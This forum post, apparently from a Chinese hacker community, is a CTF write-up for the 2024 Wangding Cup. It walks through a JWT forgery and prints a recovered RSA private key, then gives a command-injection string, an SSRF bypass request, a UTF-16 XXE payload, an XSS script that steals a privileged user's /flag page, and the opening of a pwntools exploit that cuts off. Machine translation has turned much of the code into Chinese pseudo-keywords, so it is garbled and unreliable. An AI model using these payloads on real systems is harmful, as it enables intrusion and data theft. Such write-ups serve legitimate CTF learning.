跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

2024第四届网鼎杯部分赛组wp

精选回复

发布于

1。青龙集团WEB

web1

您可以通过在开头输入任何内容来登录。登录后会生成一个token和一个session,一个是jwt,一个是flask框架。

这里我们首先伪造jwt,这是国外的原标题。

CTFtime.org/DownUnderCTF 2021(在线)/JWT/Writeup

首先生成两个token,然后使用rsa_sign2n工具生成公钥

python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYWFhIn0.EnToBP4kzW6jbUqkC7fjt-FcCq9mOMhKWRqKpo12BsG464YTX2QNi BLuzgqJhnDlGF2Ukqb6oWXhFm0qiKrbg1skUb0FO2kMBkEvRLpyGJ7tXOzcndGDl-egaMa-mSN321RNW-aiCKJsij5Tf0HzQgBU8UCg1Zd8uJaybcj3oXOi eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.IUanU3g_ZtyPjDnOJ9gockfRo1oOQLmQT0To_WYLi9I9PluHxbBId5d2 WFIF-sIhGPuDtzPvShiE1ao0qnMlp3X7pVf-Qb-juaslvbnpR1rCKH2D3Kq4u1d2wEDvsgWVtjYA6s5NXrvJpzDcpZlzmx_6Ywn8caqVQ3kjlTv87OKO img

获取公钥

-----开始公钥-----

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgSSlUMfCzg/ysG4ixoi6NKGuWNnv

IpZZTRNa045eH2xzzY/ZyRwDojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fAN

MNCYRa47xIW0RwZBDSABcGnwu3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502

ZMSv0AxMgN5UMh9FCwIDAQAB

-----END PUBLIC KEY-----然后使用RsaCtfTool获取私钥

img

-----开始RSA 私钥-----

MIICoQIBAAKBgSSlUMfCzg/ysG4ixoi6NKGuWNnvIpZZTRNa045eH2xzzY/ZyRwD

ojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fANMNCYRa47xIW0RwZBDSABcGnw

u3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502ZMSv0AxMgN5UMh9FCwIDAQAB

AoGBC5/r+nCv2+uWXTjL8i6UJtLIfdOssxKbJNiIKLXQh3l8IAAfx1i9ktxYEICW

TcGTUkx9gjd+xUwo0KOKjcg3hZc7bEfLkiOsK8dSwsPFEXYQpCE1EFokhkc9Rbiq

URC9QIrQjtzf5vdU2usj5ddRGtqtmpXm/ibU1TLPIsy8Y5TJAoGBAP2Mj8b+pnwu

SCp0EYh99ogr6jblQlVwySv34UDQarcFjkQoB60SOMZpGCyPr/auhfDIsNvKyXLK

S7IBEBFMETWywUx28OGFV7xtGF7RfLWmaKYXy4ML/DfHonV8khZ6h5wpyxPL3Wli

uJCSSsjNgXhj4aeGLtRRuySpiXflrdFvAgElAoGBALrhzOO+tJWZQ2XPMVEqjvjl

bXfS2WbCf/Theuzb8Zw/AxJncuj1IlXUBpZpvigTkPPd6MXIHV13j/1+3QnyyEiN

Hf6vOHLxZq6itrDEtafqJP4vUbigr+GpSqxQChl5bNUE1QMDY3AW7LTarzZ8iq5i

6GMi+wdRyp+GOqXd65UPAgERAoGAUjts5pfHSt6T8hfOVcf87eS6qgUqRTlWAGwr

tCfrQkb9tT1qRfgSadzlPuJ+QirDqAm80amNcVZdvTDG8NpmckfP/R+oEcphpOUc

qSFY4PezPMlyb7DcLcQ0sHttpmztthtkdR+GFFdedBPFOjTQC16qDNGSpbmkepfZ

jqta99E=

-----END RSA PRIVATE KEY-----然后直接伪造jwt即可,用户名admin成功。

您可以访问游戏路由使用功能。这里又是一个国外原创问题。

AIS3-2024 年考试前-写作|堇姬Naup 的博客

使用emo 表达式构造cd flag;p:|cat *

直接阅读源码即可得到secret_key为36f8efbea152e50b23290e0ed707b4b0

然后就假装一下

img

然后就可以使用上传文件的功能了。我们先来审核一下这部分的源码。

@app.route('/upload',methods=['GET', 'POST'])

def上传():

token=request.cookies.get('token')

如果不是令牌:

flash('请先登录', '警告')

返回重定向(url_for('登录'))

有效负载=decode_jwt(令牌)

表单=上传表单()

如果不是有效负载或有效负载['用户名']!='admin':

error_message='您无权访问此页面。您的用户名不是admin。'

return render_template('upload.html', form=form, error_message=error_message, username=payload['用户名'])

如果不是session['role'] 或session['role'] !='admin':

error_message='您无权访问此页面。您的角色不是管理员。'

return render_template('upload.html', form=form, error_message=error_message, username=payload['用户名'])

如果form.validate_on_submit():

文件=表单.头像.数据

如果文件:

文件名=secure_filename(文件.文件名)

files={'file': (文件名, file.stream, file.content_type)}

php_service_url='http://127.0.0.1/upload.php'

响应=requests.post(php_service_url,文件=文件)

如果响应.status_code==200:

flash(response.text, '成功')

否则:

flash('上传文件到PHP服务失败', '危险')

return render_template('upload.html', form=form)

@app.route('/view_uploads',methods=['GET', 'POST'])

def view_uploads():

token=request.cookies.get('token')

形式=游戏形式()

如果不是令牌:

error_message='请先登录'

返回render_template('view_uploads.html', form=form, error_message=error_message)

有效负载=decode_jwt(令牌)

如果不是有效负载:

error_message='令牌无效或过期。请重新登录。

返回render_template('view_uploads.html', form=form, error_message=error_message)

如果不是有效负载['用户名']=='admin':

error_message='您无权访问此页面。您的用户名不是admin'

返回render_template('view_uploads.html', form=form, error_message=error_message)

用户输入=无

如果form.validate_on_submit():

文件路径=form.user_input.data

pathurl=request.form.get('路径')

if ('www.testctf.com' 不在路径中) 或('127.0.0.1' 在路径中) 或('/var/www/html/uploads/' 不在文件路径中) 或('.' 在文件路径中):

error_message='www.testctf.com 必须位于路径中,而/var/www/html/uploads/必须位于文件路径中。'

返回render_template('view_uploads.html', form=form, error_message=error_message)

params={': 文件路径}

尝试:

响应=requests.get('http://'+pathurl, params=params, 超时=1)

return render_template('view_uploads.html', form=form, user_input=response.text)

除了:

错误消息='500!服务器错误'

返回render_template('view_uploads.html', form=form, error_message=error_message)

return render_template('view_uploads.html', form=form, user_input=user_input) 80端口有php服务,然后/upload路由可以上传文件到uplaods目录,在view_uploads路由下可以查看,但是有waf

if ('www.testctf.com' not in pathurl) or ('127.0.0.1' in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):必须包含这个域名,并且不能有127.0.0.1,那么可以用0.0.0.0代替127.0.0.1,并使用跳转在ssrf中绕过域名限制

POST /view_uploads HTTP/1.1

主机: 0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732

用户代理: Mozilla/5.0(Windows NT 10.0;Win64;x64;rv:131.0)Gecko/20100101 Firefox/131.0

Accept: 文本/html,应用程序/xhtml+xml,应用程序/xml;q=0.9,图像/avif,图像/webp,图像/png,图像/svg+xml,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip、deflate

Content-Type: 应用程序/x-www-form-urlencoded

内容长度: 211

产地: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732

连接:关闭

Referer: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732/view_uploads

Cookie: 会话=eyJjc3JmX3Rva2VuIjoiYmQyNTJlZDZlYTQ5ZmJmOWQyZjJjMmQ0YTBlNjc1Yz JhYzlmNmU5MyIsInJvbGUIOiJhZG1pbiJ9.ZyBmXg.eLZ3Z69hYgP6lG3vjiMNsKTLCno;令牌=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zr nvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAURKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1

升级不安全请求: 1

优先级: u=0, i

csrf_token=ImJkMjUyZWQ2ZWE0OWZiZjlkMmYyYzJkNGEwZTY3NWMyYWM5ZjZlOTMi.ZyBmag.RCasLc0XUU8ep682nDtSZ5PeqsQpath=www.testctf [email protected]_input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8submit=Submit 那么你可以先上传一个文件,然后读取,就会报Failed。加载XML文件,我猜它会解析xml并直接输入xxe,但是很多诸如system之类的关键字被过滤了,所以使用utf-16编码绕过它,直接读取flag.php文件。

?xml 版本='1.0' ?

!DOCTYPE 替换[!ENTITY 示例SYSTEM 'php://filter/convert.base64-encode/resource=/var/www/html/flag.php' ]

用户信息

名字约翰/名字

姓氏示例;/姓氏

/userInfoiconv -f utf8 -t utf16 1.xml3.xml

然后上传3.xml,再次读取,得到flag

img

web2

打开容器的登录界面,输入账号和密码进入漏洞界面。

这里是发送给老大的函数,看一下xss

然后访问/flag,需要老大才能访问。这里我们可以提交一个xss,然后让老大先访问/flag,然后把数据带到我们的内容中。

scriptvar xmlhttp=new XMLHttpRequest();

xmlhttp.withCredentials=true;

xmlhttp.onreadystatechange=函数() {

if (xmlhttp.readyState==4 xmlhttp.status==200) {

var flagData=xmlhttp.responseText;

var flag1=btoa(flagData);

var RemoteServerUrl='/content/4a95828e3f0037bfe446ae0e693912df';

var xmlhttp2=new XMLHttpRequest();

xmlhttp2.open('POST',remoteServerUrl,true);

xmlhttp2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

xmlhttp2.send('内容='+encodeURIComponent(flag1))

}

};

xmlhttp.open('GET', '/flag', true);

xmlhttp.send();/脚本img

更新任务后,发送给boss

img

然后返回页面,你会看到flag已经发送了。

img

PWN

PWN2

Image

一开始有登录功能,然后只要拿到用户名和密码就可以进入。

Image

vuln函数中存在两个字节的溢出,buf的地址也被泄露。

Image

还给了我们后门函数和/bin/sh 字符串

Image

Image

完成经验

从pwn 导入*

elf=ELF('./短')

上下文(arch=elf.arch,os=elf.os)

context.log_level='调试'

# libc=ELF('./libc.so.6')

标志=0

url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn'

端口=45740

如果标志:

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。